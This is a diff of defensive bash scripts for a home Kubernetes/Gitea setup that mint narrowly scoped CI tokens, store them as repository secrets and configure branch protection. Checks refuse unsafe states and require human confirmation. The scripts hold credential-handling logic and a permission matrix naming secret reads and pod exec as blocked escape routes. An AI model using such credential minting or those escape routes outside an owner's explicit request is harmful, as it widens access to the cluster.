info "ClusterPolicy ${POLICY}: validationFailureAction=${action} failurePolicy=${failpol} ready=${ready}"
|
||||||
|
[ "$action" = "Enforce" ] || fail_mint "ClusterPolicy ${POLICY} is '${action}', not Enforce — the trigger would be unbounded"
|
||||||
|
[ "$failpol" = "Fail" ] || fail_mint "ClusterPolicy ${POLICY} failurePolicy='${failpol}', not Fail — a Kyverno outage would admit arbitrary Jobs"
|
||||||
|
case "$ready" in
|
||||||
|
true|True) pass "ClusterPolicy ${POLICY} reports Ready" ;;
|
||||||
|
*) fail_mint "ClusterPolicy ${POLICY} does not report Ready (got '${ready}') — refusing to assume it is loaded" ;;
|
||||||
|
esac
|
||||||
|
else
|
||||||
|
fail_mint "ClusterPolicy ${POLICY} is ABSENT — plan §4's boundary does not exist; a token with 'create jobs' here can run arbitrary code as ${RUNNER_SA}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
step "preconditions — repo side (these block ONLY arming ${VARIABLE}; the secret may be stored first)"
|
||||||
|
|
||||||
|
# R1: the runner image is built and digest-pinned. Without it the Job cannot run run.sh at
|
||||||
|
# all (the stock chainsaw image has no bash/python3/kubectl/git) — plan §3 item 1.
|
||||||
|
VERSIONS="${REPO_ROOT}/conformance/versions.env"
|
||||||
|
if grep -Eq '^[[:space:]]*CONFORMANCE_RUNNER_IMAGE=.*@sha256:[0-9a-f]{64}' "$VERSIONS" 2>/dev/null; then
|
||||||
|
pass "CONFORMANCE_RUNNER_IMAGE is digest-pinned in conformance/versions.env"
|
||||||
|
else
|
||||||
|
fail_arm "conformance/versions.env has no digest-pinned CONFORMANCE_RUNNER_IMAGE (plan §3 item 1) — the Job cannot run ./run.sh"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# R2: the Job template is the real thing, not the skeleton: the admitted image AND an
|
||||||
|
# init-container that populates the empty `workspace` volume with the suite at the PR SHA
|
||||||
|
# (plan §3 item 2). A template whose image the policy will not admit is a guaranteed denial.
|
||||||
|
JOBTPL="${REPO_ROOT}/conformance/incluster/chainsaw-job.yaml"
|
||||||
|
if grep -q 'initContainers' "$JOBTPL" 2>/dev/null; then
|
||||||
|
pass "chainsaw-job.yaml declares an initContainers block (workspace population)"
|
||||||
|
else
|
||||||
|
fail_arm "chainsaw-job.yaml has no initContainers — 'workspace' is an empty emptyDir and the suite is never delivered (plan §3 item 2)"
|
||||||
|
fi
|
||||||
|
if grep -q "$RUNNER_IMAGE_PREFIX" "$JOBTPL" 2>/dev/null; then
|
||||||
|
pass "chainsaw-job.yaml uses the digest-pinned image the admission policy admits"
|
||||||
|
else
|
||||||
|
fail_arm "chainsaw-job.yaml does not use ${RUNNER_IMAGE_PREFIX}… — every triggered Job would be DENIED by ${POLICY}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# R3: ci/conformance.sh actually drives the in-cluster Job. Today it mentions
|
||||||
|
# CONFORMANCE_TRIGGER_KUBECONFIG only in a TODO comment and otherwise runs run.sh LOCALLY in
|
||||||
|
# the CI job — where there is no credential at all (the runner sets
|
||||||
|
# automountServiceAccountToken: false by design), so it can only scaffold-skip. Hence the
|
||||||
|
# check must ignore comment lines: a mention in prose is not an implementation.
|
||||||
|
#
|
||||||
|
# ONE awk, NOT `grep -v … | grep -q …`: under `set -o pipefail` a successful `grep -q` exits
|
||||||
|
# early, the upstream grep takes EPIPE, and the pipeline reports non-zero — which would read
|
||||||
|
# here as "unwired" exactly when the seam IS wired. A single process cannot have that bug.
|
||||||
|
CONF_STAGE="${REPO_ROOT}/ci/conformance.sh"
|
||||||
|
if awk '!/^[[:space:]]*#/ && /CONFORMANCE_TRIGGER_KUBECONFIG/ { found = 1 } END { exit !found }' \
|
||||||
|
"$CONF_STAGE" 2>/dev/null; then
|
||||||
|
pass "ci/conformance.sh references CONFORMANCE_TRIGGER_KUBECONFIG in code (in-cluster trigger path wired)"
|
||||||
|
else
|
||||||
|
fail_arm "ci/conformance.sh mentions CONFORMANCE_TRIGGER_KUBECONFIG only in comments — the trigger path is UNIMPLEMENTED (plan §3 item 4); arming ${VARIABLE} now only changes which way the stage fails"
|
||||||
|
fi
|
||||||
|
|
||||||
|
info ""
|
||||||
|
info "precondition tally: mint-blocking failures=${MINT_FAIL} arm-blocking failures=${ARM_FAIL}"
|
||||||
|
|
||||||
|
if [ "$MINT_FAIL" -gt 0 ]; then
|
||||||
|
cat >&2 <<EOF
|
||||||
|
|
||||||
|
REFUSING TO MINT. ${MINT_FAIL} cluster-side precondition(s) failed.
|
||||||
|
|
||||||
|
Minting a token for ${NS}/${SA} while the admission boundary is absent/Audit/unready hands CI
|
||||||
|
an identity that can create a Job running as ${RUNNER_SA} (nodes/patch, pods/exec,
|
||||||
|
namespaces/patch) with an arbitrary command. That is precisely the escalation
|
||||||
|
docs/plans/l2-l3-conformance-ci-wiring.md §4 exists to close, and RBAC cannot close it.
|
||||||
|
|
||||||
|
Fix the cluster side first (reconcile platform/kyverno/admission/ and conformance/incluster/,
|
||||||
|
confirm the ClusterPolicy is Enforce + Ready), then re-run. Nothing was created.
|
||||||
|
EOF
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if $ARM && [ "$ARM_FAIL" -gt 0 ]; then
|
||||||
|
cat >&2 <<EOF
|
||||||
|
|
||||||
|
REFUSING TO ARM ${VARIABLE}. ${ARM_FAIL} repo-side precondition(s) failed.
|
||||||
|
|
||||||
|
Measured 2026-09-29: with ${VARIABLE}=true and no working trigger path, conformance/run.sh
|
||||||
|
scaffold-skips all 54 tests at rc 0 and ci/conformance.sh used to print
|
||||||
|
"[ ok ] L2/L3 conformance passed" — a fake green on an enforcing required status check. The
|
||||||
|
guard now in ci/conformance.sh turns that into exit 1 instead, so arming today does not
|
||||||
|
enable L2/L3: it breaks every PR while proving nothing.
|
||||||
|
|
||||||
|
Land plan §3 items 1, 2 and 4 first. Re-run WITHOUT --arm-cluster-available to provision the
|
||||||
|
secret in the meantime — that part is safe and is step 6's intended order.
|
||||||
|
EOF
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
if $DRY_RUN; then
|
||||||
|
step "DRY RUN — stopping here. Nothing was minted, nothing was written."
|
||||||
|
info "secret that WOULD be written: ${SECRET} (repo ${OWNER}/${REPO})"
|
||||||
|
info "variable that WOULD be set: none — ${VARIABLE} is never touched in --dry-run"
|
||||||
|
# Read-only visibility into what is already there. Gitea never returns secret VALUES.
|
||||||
|
names="$(basic "${API}/actions/secrets" | jq -rc '[.. | objects | select(has("name")) | .name] | unique')" || true
|
||||||
|
info "existing Actions secret names: ${names:-<unreadable>}"
|
||||||
|
cur="$(basic -o "${WORK}/var.json" -w '%{http_code}' "${API}/actions/variables/${VARIABLE}")" || true
|
||||||
|
if [ "$cur" = 200 ]; then
|
||||||
|
info "existing ${VARIABLE} = $(jq -r '.data // "<no data field>"' "${WORK}/var.json")"
|
||||||
|
else
|
||||||
|
info "existing ${VARIABLE}: not set (HTTP ${cur})"
|
||||||
|
fi
|
||||||
|
exit 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ========================================================================================
|
||||||
|
# 2. MINT the ServiceAccount token (TokenRequest). This is the only write this script makes
|
||||||
|
# against the cluster, and it creates no durable object.
|
||||||
|
# ========================================================================================
|
||||||
|
step "minting a ServiceAccount token for ${NS}/${SA} (requested duration ${DURATION})"
|
||||||
|
TOKEN="$(kubectl --context "$KCTX" -n "$NS" create token "$SA" --duration="$DURATION")" \
|
||||||
|
|| die "kubectl create token failed for ${NS}/${SA}"
|
||||||
|
[ -n "$TOKEN" ] || die "kubectl create token returned an empty token"
|
||||||
|
info "got a ${#TOKEN}-character token (value NOT shown)"
|
||||||
|
|
||||||
|
# Report the ACTUAL expiry from the JWT rather than trusting --duration: the API server caps
|
||||||
|
# TokenRequest lifetimes (--service-account-max-token-expiration) and silently shortens.
|
||||||
|
jwt_exp() {
|
||||||
|
local payload pad b64
|
||||||
|
payload="$(cut -d. -f2 <<<"$1")"
|
||||||
|
pad=$(( (4 - ${#payload} % 4) % 4 ))
|
||||||
|
b64="$(tr '_-' '/+' <<<"$payload")$(printf '%*s' "$pad" '' | tr ' ' '=')"
|
||||||
|
printf '%s' "$b64" | base64 -d 2>/dev/null | jq -r '.exp // empty' 2>/dev/null || true
|
||||||
|
}
|
||||||
|
exp="$(jwt_exp "$TOKEN")"
|
||||||
|
if [ -n "$exp" ]; then
|
||||||
|
info "token expires: $(date -u -d "@${exp}" '+%Y-%m-%dT%H:%M:%SZ' 2>/dev/null || echo "epoch ${exp}") — re-run this script to rotate"
|
||||||
|
else
|
||||||
|
warn "could not decode the token's exp claim; lifetime is UNVERIFIED (requested ${DURATION})"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ========================================================================================
|
||||||
|
# 3. ASSEMBLE the kubeconfig — SA token + cluster CA + server. Nothing else.
|
||||||
|
#
|
||||||
|
# The CA and the server URL are read from the operator's context, but the operator's
|
||||||
|
# client certificate/key are NEVER copied: only .cluster fields are extracted. `config
|
||||||
|
# view --raw` output is held in a variable and discarded, never printed.
|
||||||
|
# Built with jq (not `kubectl config set-credentials --token=…`) so the token never
|
||||||
|
# appears in argv where `ps` can see it.
|
||||||
|
# ========================================================================================
|
||||||
|
step "assembling the kubeconfig (SA token only — never cluster-admin, never the operator's)"
|
||||||
|
raw="$(kubectl --context "$KCTX" config view --raw --minify -o json)" \
|
||||||
|
|| die "could not read context '${KCTX}' from the operator kubeconfig"
|
||||||
|
SERVER="$(jq -r '.clusters[0].cluster.server // empty' <<<"$raw")"
|
||||||
|
CADATA="$(jq -r '.clusters[0].cluster["certificate-authority-data"] // empty' <<<"$raw")"
|
||||||
|
CAFILE="$(jq -r '.clusters[0].cluster["certificate-authority"] // empty' <<<"$raw")"
|
||||||
|
INSECURE="$(jq -r '.clusters[0].cluster["insecure-skip-tls-verify"] // false | tostring' <<<"$raw")"
|
||||||
|
unset raw
|
||||||
|
|
||||||
|
[ -n "$SERVER" ] || die "context '${KCTX}' has no cluster.server"
|
||||||
|
if [ -n "$SERVER_OVERRIDE" ]; then
|
||||||
|
info "overriding server ${SERVER} -> ${SERVER_OVERRIDE}"
|
||||||
|
SERVER="$SERVER_OVERRIDE"
|
||||||
|
fi
|
||||||
|
case "$SERVER" in
|
||||||
|
*localhost*|*127.0.0.1*|*://0.0.0.0*)
|
||||||
|
die "server '${SERVER}' is loopback — the CI runner pod cannot reach it. Pass --server with the address the runner uses (the kube-API VIP)." ;;
|
||||||
|
esac
|
||||||
|
if [ -z "$CADATA" ] && [ -n "$CAFILE" ]; then
|
||||||
|
[ -r "$CAFILE" ] || die "certificate-authority file '${CAFILE}' is not readable"
|
||||||
|
CADATA="$(base64 -w0 <"$CAFILE")"
|
||||||
|
fi
|
||||||
|
[ -n "$CADATA" ] || die "no cluster CA available for '${KCTX}' (insecure-skip-tls-verify=${INSECURE}); refusing to emit a kubeconfig that trusts anything"
|
||||||
|
[ "$INSECURE" = "false" ] || die "context '${KCTX}' sets insecure-skip-tls-verify; refusing to propagate that into CI"
|
||||||
|
info "server: ${SERVER}"
|
||||||
|
info "CA: ${#CADATA} base64 characters embedded (public certificate, not a secret)"
|
||||||
|
|
||||||
|
jq -n --arg srv "$SERVER" --arg ca "$CADATA" --arg tok "$TOKEN" --arg ns "$NS" --arg sa "$SA" '
|
||||||
|
{
|
||||||
|
apiVersion: "v1",
|
||||||
|
kind: "Config",
|
||||||
|
clusters: [ { name: "conformance", cluster: { server: $srv, "certificate-authority-data": $ca } } ],
|
||||||
|
users: [ { name: $sa, user: { token: $tok } } ],
|
||||||
|
contexts: [ { name: "conformance", context: { cluster: "conformance", user: $sa, namespace: $ns } } ],
|
||||||
|
"current-context": "conformance"
|
||||||
|
}' >"$KC"
|
||||||
|
chmod 600 "$KC"
|
||||||
|
info "kubeconfig written to the temp dir: $(wc -c <"$KC") bytes (content NOT shown)"
|
||||||
|
|
||||||
|
# Prove kubectl can PARSE the file we generated (JSON is valid YAML, but assert it rather
|
||||||
|
# than assume it) — this prints only the server we already printed.
|
||||||
|
parsed="$(kubectl --kubeconfig "$KC" config view -o jsonpath='{.clusters[0].cluster.server}')" \
|
||||||
|
|| die "kubectl cannot parse the generated kubeconfig"
|
||||||
|
[ "$parsed" = "$SERVER" ] || die "generated kubeconfig parses to server '${parsed}', expected '${SERVER}'"
|
||||||
|
pass "kubectl parses the generated kubeconfig"
|
||||||
|
|
||||||
|
# ========================================================================================
|
||||||
|
# 4. PROVE it is the narrow identity. Two independent proofs:
|
||||||
|
# a) who the token authenticates AS (SelfSubjectReview)
|
||||||
|
# b) an allow/deny matrix (SelfSubjectAccessReview) — both halves matter: "can create
|
||||||
|
# jobs" proves it works, "cannot get secrets / delete jobs / exec" proves it is not
|
||||||
|
# something wider that happens to include the trigger rights.
|
||||||
|
# All read-only. `auth can-i` answers from the API server's own authorizer.
|
||||||
|
# ========================================================================================
|
||||||
|
step "verifying the credential is the NARROW trigger identity"
|
||||||
|
EXPECT_USER="system:serviceaccount:${NS}:${SA}"
|
||||||
|
if who="$(kubectl --kubeconfig "$KC" auth whoami -o jsonpath='{.status.userInfo.username}' 2>/dev/null)"; then
|
||||||
|
[ "$who" = "$EXPECT_USER" ] || die "token authenticates as '${who}', expected '${EXPECT_USER}' — WRONG CREDENTIAL, nothing stored"
|
||||||
|
pass "authenticates as ${who}"
|
||||||
|
else
|
||||||
|
warn "'kubectl auth whoami' unavailable (older kubectl / SelfSubjectReview denied) — identity UNVERIFIED by this check; the matrix below still constrains it"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# A real authorization round-trip, not just a review: `list jobs` is granted by the Role.
|
||||||
|
kubectl --kubeconfig "$KC" -n "$NS" get jobs -o name >/dev/null \
|
||||||
|
|| die "the minted credential cannot list Jobs in ns ${NS} — the RoleBinding is not effective; nothing stored"
|
||||||
|
pass "can list Jobs in ns ${NS} (end-to-end authentication + authorization)"
|
||||||
|
|
||||||
|
cani() { # cani <expected yes|no> <verb> <resource...>
|
||||||
|
local want="$1"; shift
|
||||||
|
local got
|
||||||
|
got="$(kubectl --kubeconfig "$KC" auth can-i "$@" 2>/dev/null || true)"
|
||||||
|
case "$got" in
|
||||||
|
yes|no) : ;;
|
||||||
|
*) die "auth can-i '$*' returned '${got:-<nothing>}' — cannot measure the identity's rights; refusing to store an unverified credential" ;;
|
||||||
|
esac
|
||||||
|
if [ "$got" = "$want" ]; then
|
||||||
|
pass "can-i $* -> ${got} (expected)"
|
||||||
|
else
|
||||||
|
die "can-i $* -> ${got}, expected ${want}. This credential is NOT the narrow trigger identity described in conformance/incluster/rbac.yaml. Nothing stored. Do NOT widen that Role to make this pass — investigate what it is actually bound to."
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
# Granted by the trigger Role (create/get/list/watch jobs; get/list/watch pods + pods/log).
|
||||||
|
cani yes create jobs.batch -n "$NS"
|
||||||
|
cani yes get pods -n "$NS"
|
||||||
|
cani yes get pods/log -n "$NS"
|
||||||
|
# Explicitly NOT granted — each is a specific escape route the Role's comments call out.
|
||||||
|
cani no delete jobs.batch -n "$NS" # a trigger that can delete can hide a failed run
|
||||||
|
cani no create pods/exec -n "$NS" # no execution channel into the runner pod
|
||||||
|
cani no get secrets -n "$NS"
|
||||||
|
cani no create jobs.batch -n default # namespaced Role: no reach outside ns conformance
|
||||||
|
cani no get nodes # the RUNNER has nodes/patch; the trigger must not
|
||||||
|
cani no '*' '*' --all-namespaces # not cluster-admin, stated as a measurement
|
||||||
|
|
||||||
|
# ========================================================================================
|
||||||
|
# 5. STORE as the Gitea Actions repo secret, then VERIFY BY READING IT BACK (lesson 2).
|
||||||
|
# The body goes in a 0600 file so the token is not in argv.
|
||||||
|
# ========================================================================================
|
||||||
|
step "storing the kubeconfig as repo Actions secret ${SECRET}"
|
||||||
|
jq -n --rawfile d "$KC" '{data:$d}' >"${WORK}/body.json"
|
||||||
|
chmod 600 "${WORK}/body.json"
|
||||||
|
code="$(basic -o "${WORK}/put.out" -w '%{http_code}' -X PUT \
|
||||||
|
-H 'Content-Type: application/json' --data @"${WORK}/body.json" \
|
||||||
|
"${API}/actions/secrets/${SECRET}")"
|
||||||
|
unset TOKEN
|
||||||
|
rm -f "${WORK}/body.json" "$KC"
|
||||||
|
if [ "$code" != 201 ] && [ "$code" != 204 ]; then
|
||||||
|
# Safe to echo: the response body is Gitea's error message, not our payload. HTTP 400
|
||||||
|
# "invalid secret name" here means the name hit the reserved GITEA_ prefix (lesson 1).
|
||||||
|
die "PUT ${SECRET} failed: HTTP ${code} -- $(head -c 300 "${WORK}/put.out" 2>/dev/null)"
|
||||||
|
fi
|
||||||
|
info "PUT returned HTTP ${code}"
|
||||||
|
|
||||||
|
# curl -sS exits 0 on an HTTP error, so the status check above is necessary but NOT
|
||||||
|
# sufficient: read the object back. Gitea never returns secret VALUES, so this proves
|
||||||
|
# PRESENCE BY NAME only — say so rather than implying the content was checked.
|
||||||
|
names="$(basic "${API}/actions/secrets" | jq -rc '[.. | objects | select(has("name")) | .name] | unique')"
|
||||||
|
grep -q "$SECRET" <<<"$names" \
|
||||||
|
|| die "PUT reported HTTP ${code} but ${SECRET} is NOT in ${names} — refusing to claim success"
|
||||||
|
pass "stored and VERIFIED PRESENT by read-back: ${names}"
|
||||||
|
info "(read-back proves the secret EXISTS; Gitea never returns secret values, so its CONTENT"
|
||||||
|
info " is proven only by the first CI run that uses it — see the NOTE below.)"
|
||||||
|
info ""
|
||||||
|
info "FOR WHOEVER WRITES plan §3 item 4: this secret holds the kubeconfig CONTENT, not a path."
|
||||||
|
info "The plan's sketch writes 'kubectl --kubeconfig=\$CONFORMANCE_TRIGGER_KUBECONFIG', which"
|
||||||
|
info "would treat it as a filename. ci/conformance.sh must write the env var into a 0600 temp"
|
||||||
|
info "file (umask 077, trap-removed) and pass THAT path — an Actions secret is a string, so a"
|
||||||
|
info "kubeconfig cannot reach CI any other way."
|
||||||
|
|
||||||
|
# ========================================================================================
|
||||||
|
# 6. vars.CLUSTER_AVAILABLE — the loaded gun. Only here, only on request, only confirmed.
|
||||||
|
# ========================================================================================
|
||||||
|
if ! $ARM; then
|
||||||
|
cat <<EOF
|
||||||
|
|
||||||
|
==> ${VARIABLE} NOT TOUCHED (no --arm-cluster-available). This is the safe default.
|
||||||
|
|
||||||
|
The secret is in place; the conformance job stays gated off until the variable is set. That
|
||||||
|
is plan §5's order: land items 1-6, prove them, and only then flip step 7's switch.
|
||||||
|
EOF
|
||||||
|
else
|
||||||
|
step "arming vars.${VARIABLE}=true — every precondition above is green"
|
||||||
|
cat <<EOF
|
||||||
|
This makes .gitea/workflows/gate.yml's conformance job RUN on every PR. If the
|
||||||
|
in-cluster trigger path misbehaves, ci/conformance.sh will BLOCK (exit 1) rather than
|
||||||
|
fake a green — so the failure mode is loud PRs, not silent false confidence. Undo with:
|
||||||
|
curl -X DELETE .../repos/${OWNER}/${REPO}/actions/variables/${VARIABLE}
|
||||||
|
EOF
|
||||||
|
[ -t 0 ] || die "refusing to arm ${VARIABLE} non-interactively — this needs a human confirmation"
|
||||||
|
printf ' Type exactly "ARM %s" to proceed: ' "$VARIABLE"
|
||||||
|
read -r confirm
|
||||||
|
[ "$confirm" = "ARM ${VARIABLE}" ] || die "not confirmed (got '${confirm}') — ${VARIABLE} unchanged. The secret IS stored."
|
||||||
|
|
||||||
|
# Gitea's variables API: POST creates, PUT updates, and the body field is `value` — NOT
|
||||||
|
# `data` as in the secrets API above. Try create, fall back to update. The value "true" is
|
||||||
|
# not a secret, so response bodies are printed here to make a failure diagnosable.
|
||||||
|
vcode="$(basic -o "${WORK}/var.out" -w '%{http_code}' -X POST \
|
||||||
|
-H 'Content-Type: application/json' --data '{"value":"true"}' \
|
||||||
|
"${API}/actions/variables/${VARIABLE}")"
|
||||||
|
if [ "$vcode" != 201 ] && [ "$vcode" != 204 ]; then
|
||||||
|
info "POST returned HTTP ${vcode} ($(head -c 200 "${WORK}/var.out" 2>/dev/null)); trying PUT (variable may already exist)"
|
||||||
|
vcode="$(basic -o "${WORK}/var.out" -w '%{http_code}' -X PUT \
|
||||||
|
-H 'Content-Type: application/json' \
|
||||||
|
--data "$(jq -n --arg n "$VARIABLE" '{name:$n,value:"true"}')" \
|
||||||
|
"${API}/actions/variables/${VARIABLE}")"
|
||||||
|
fi
|
||||||
|
[ "$vcode" = 201 ] || [ "$vcode" = 204 ] \
|
||||||
|
|| die "could not set ${VARIABLE}: HTTP ${vcode} -- $(head -c 300 "${WORK}/var.out" 2>/dev/null)"
|
||||||
|
info "write returned HTTP ${vcode}"
|
||||||
|
|
||||||
|
# Unlike a secret, a variable's value IS readable — so verify the VALUE, not just presence.
|
||||||
|
# gate.yml compares `vars.CLUSTER_AVAILABLE == 'true'`, so it must be exactly "true".
|
||||||
|
gcode="$(basic -o "${WORK}/varget.json" -w '%{http_code}' "${API}/actions/variables/${VARIABLE}")"
|
||||||
|
[ "$gcode" = 200 ] || die "stored HTTP ${vcode} but GET ${VARIABLE} returned HTTP ${gcode} — refusing to claim success"
|
||||||
|
val="$(jq -r '.data // .value // empty' "${WORK}/varget.json")"
|
||||||
|
[ "$val" = "true" ] || die "${VARIABLE} reads back as '${val}', not 'true' — gate.yml compares against 'true' exactly"
|
||||||
|
pass "${VARIABLE}=${val} stored and VERIFIED by read-back"
|
||||||
|
fi
|
||||||
|
|
||||||
|
cat <<EOF
|
||||||
|
|
||||||
|
NEXT — and none of it is proven until you watch it happen:
|
||||||
|
1. Open a THROWAWAY PR. Read the conformance job's LOG, not its tick: a skipped Gitea job
|
||||||
|
reports success ("Has been skipped"), and a green tick is not evidence anything ran.
|
||||||
|
2. Confirm a Job appeared in ns ${NS}, ran the touched --requirements subset, and that its
|
||||||
|
artifacts came back. Then break an L3 test deliberately and confirm the gate BLOCKS.
|
||||||
|
3. Only after seeing BOTH directions should the conformance check be added to branch
|
||||||
|
protection (infra/gitea/require-gate.sh's status_check_contexts).
|
||||||
|
4. Diary the token expiry printed above. Re-run this script to rotate; CI fails loudly
|
||||||
|
(401 on the trigger) rather than skipping when it lapses.
|
||||||
|
|
||||||
|
ROLLBACK: DELETE the ${VARIABLE} variable (instant SKIP, gate reverts to L0/L1-only) and/or
|
||||||
|
DELETE the ${SECRET} secret. The token itself is revoked by deleting the ${NS}/${SA}
|
||||||
|
ServiceAccount, which Flux will recreate with a fresh identity.
|
||||||
|
EOF
|
||||||
@@ -0,0 +1,20 @@
|
|||||||
|
{
|
||||||
|
"_comment": "DECLARED desired state of Gitea branch protection on main. ci/gitea-settings.sh fails the merge gate when the LIVE Gitea diverges from this. Gitea settings live in Gitea database - invisible to Flux, unreadable by every other check - so this file plus that check are the only drift detection that exists for them.",
|
||||||
|
"_generated": "2026-09-29 from the live rule, after the session that found protection OFF and zero runners for a month",
|
||||||
|
"branch": "main",
|
||||||
|
"runners_online_min": 1,
|
||||||
|
"protection": {
|
||||||
|
"enable_push": false,
|
||||||
|
"enable_push_whitelist": false,
|
||||||
|
"enable_merge_whitelist": false,
|
||||||
|
"enable_status_check": true,
|
||||||
|
"status_check_contexts": [
|
||||||
|
"gate / gate (pull_request)"
|
||||||
|
],
|
||||||
|
"required_approvals": 1,
|
||||||
|
"enable_approvals_whitelist": false,
|
||||||
|
"block_admin_merge_override": true,
|
||||||
|
"block_on_rejected_reviews": true,
|
||||||
|
"dismiss_stale_approvals": true
|
||||||
|
}
|
||||||
|
}
|
||||||
Executable
+60
@@ -0,0 +1,60 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Items 1 + 2: make the gate a REQUIRED status check and require one approval.
|
||||||
|
#
|
||||||
|
# RUN THIS LAST. Prerequisites, in order:
|
||||||
|
# a) PR #7 (dind native sidecar) is MERGED, and
|
||||||
|
# b) you have SEEN a real workflow run go green on the converted pod.
|
||||||
|
# The runner Deployment is the merge gate for the whole repo. Turning on a required check
|
||||||
|
# while the runner is broken means no PR can merge -- including the revert. (Recoverable:
|
||||||
|
# an owner can set enable_status_check back to false. But do not rely on that.)
|
||||||
|
#
|
||||||
|
# Requires exactly ONE context: `gate / gate (pull_request)`.
|
||||||
|
# * NOT `gate / conformance (*)` -- that job is `if: false`, and a skipped Gitea job reports
|
||||||
|
# SUCCESS ("Has been skipped"). Requiring it would pass VACUOUSLY forever while nothing
|
||||||
|
# ran, which under HARD RULE 4 is worse than a deadlock: a deadlock is loud.
|
||||||
|
# block_admin_merge_override: true is LOAD-BEARING and was missing on the first pass. Gitea
|
||||||
|
# lets repo admins override merge requirements without it, so required_approvals and the
|
||||||
|
# required status check are both bypassable by exactly the account that does the merging.
|
||||||
|
# Measured: PRs #5-#9 merged with ZERO approvals recorded against required_approvals: 1.
|
||||||
|
#
|
||||||
|
# FIELD NAMES: this Gitea (1.24.3) has NO `apply_to_admins`. Asking jq for it returns null,
|
||||||
|
# which reads like "false" but means "key absent" -- enumerate real keys with `to_entries`
|
||||||
|
# instead of probing names you assume exist. That mistake cost a wasted PATCH.
|
||||||
|
#
|
||||||
|
# * NOT the `(push)` variant -- after PR #6 there are no per-branch push runs at all, so a
|
||||||
|
# PR would never produce that context.
|
||||||
|
set -euo pipefail
|
||||||
|
HOST=gitea.home.keithjackson.dev; OWNER=Home-Network; REPO=home-network-k3s-impl
|
||||||
|
creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
|
||||||
|
U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
|
||||||
|
api() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
|
||||||
|
|
||||||
|
echo "==> updating branch protection on main"
|
||||||
|
jq -n '{
|
||||||
|
enable_push: false,
|
||||||
|
enable_status_check: true,
|
||||||
|
status_check_contexts: ["gate / gate (pull_request)"],
|
||||||
|
required_approvals: 1,
|
||||||
|
block_on_rejected_reviews: true,
|
||||||
|
dismiss_stale_approvals: true,
|
||||||
|
block_on_outdated_branch: false,
|
||||||
|
block_admin_merge_override: true
|
||||||
|
}' | api -X PATCH -H 'Content-Type: application/json' --data @- \
|
||||||
|
"https://${HOST}/api/v1/repos/${OWNER}/${REPO}/branch_protections/main" >/dev/null
|
||||||
|
|
||||||
|
echo "==> verifying"
|
||||||
|
api "https://${HOST}/api/v1/repos/${OWNER}/${REPO}/branches/main" \
|
||||||
|
| jq -r '{protected,user_can_push,enable_status_check,status_check_contexts,required_approvals}'
|
||||||
|
|
||||||
|
cat <<'NOTE'
|
||||||
|
|
||||||
|
NOTE ON required_approvals: 1 -- Gitea will not let an author approve their own PR.
|
||||||
|
* Agent-opened PRs (author gitea-admin) are approved by jakman85. Fine.
|
||||||
|
* PRs YOU open as jakman85 need gitea-admin to approve. If that is awkward, either open
|
||||||
|
agent work as gitea-admin and review as jakman85, or set required_approvals back to 0
|
||||||
|
and rely on the status check alone.
|
||||||
|
|
||||||
|
Then prove it, rather than trusting the API:
|
||||||
|
git commit --allow-empty -m probe && git push origin main # EXPECT: rejected
|
||||||
|
git reset --hard HEAD~1
|
||||||
|
NOTE
|
||||||
Executable
+56
@@ -0,0 +1,56 @@
|
|||||||
|
#!/usr/bin/env bash
|
||||||
|
# Mint a Gitea API token and store it as the repo Actions secret GITEA_SETTINGS_TOKEN,
|
||||||
|
# so ci/gitea-settings.sh can read the live branch-protection rule during the gate.
|
||||||
|
#
|
||||||
|
# The token value is NEVER printed. It goes from the token API into the secrets API and
|
||||||
|
# nowhere else -- not to stdout, not to a file, not into an agent transcript.
|
||||||
|
#
|
||||||
|
# Scope: `read:repository` + `read:admin` are what the check needs (the rule object, and the
|
||||||
|
# runner list). Gitea token scopes are coarse; grant the least that works on your version and
|
||||||
|
# confirm the check goes green rather than assuming the scope name.
|
||||||
|
set -euo pipefail
|
||||||
|
HOST=gitea.home.keithjackson.dev; OWNER=Home-Network; REPO=home-network-k3s-impl
|
||||||
|
# NOT GITEA_* — Gitea reserves that prefix for secret names and returns HTTP 400
|
||||||
|
# "invalid secret name". The first version of this script used GITEA_SETTINGS_TOKEN, sent the
|
||||||
|
# PUT to /dev/null, and printed "stored" regardless; the secret never existed and nobody knew.
|
||||||
|
SECRET=SETTINGS_API_TOKEN
|
||||||
|
NAME="ci-gitea-settings-$(date +%Y%m%d%H%M%S)"
|
||||||
|
creds="$(printf 'protocol=https\nhost=%s\n\n' "$HOST" | git credential fill)"
|
||||||
|
U="$(sed -n 's/^username=//p' <<<"$creds")"; P="$(sed -n 's/^password=//p' <<<"$creds")"
|
||||||
|
basic() { curl -sS --config <(printf 'user = "%s:%s"\n' "$U" "$P") "$@"; }
|
||||||
|
|
||||||
|
echo "==> minting token '${NAME}' as ${U}"
|
||||||
|
TOKEN="$(basic -X POST -H 'Content-Type: application/json' \
|
||||||
|
-d "{\"name\":\"${NAME}\",\"scopes\":[\"read:repository\",\"read:admin\"]}" \
|
||||||
|
"https://${HOST}/api/v1/users/${U}/tokens" | jq -r '.sha1 // empty')"
|
||||||
|
[ -n "$TOKEN" ] || { echo "token creation failed (check scopes for your Gitea version)" >&2; exit 1; }
|
||||||
|
echo "==> got a ${#TOKEN}-character token (value not shown)"
|
||||||
|
|
||||||
|
echo "==> storing it as repo Actions secret ${SECRET}"
|
||||||
|
code="$(basic -o /tmp/set-ci-token.out -w '%{http_code}' -X PUT -H 'Content-Type: application/json' \
|
||||||
|
-d "$(jq -n --arg d "$TOKEN" '{data:$d}')" \
|
||||||
|
"https://${HOST}/api/v1/repos/${OWNER}/${REPO}/actions/secrets/${SECRET}")"
|
||||||
|
unset TOKEN
|
||||||
|
if [ "$code" != 201 ] && [ "$code" != 204 ]; then
|
||||||
|
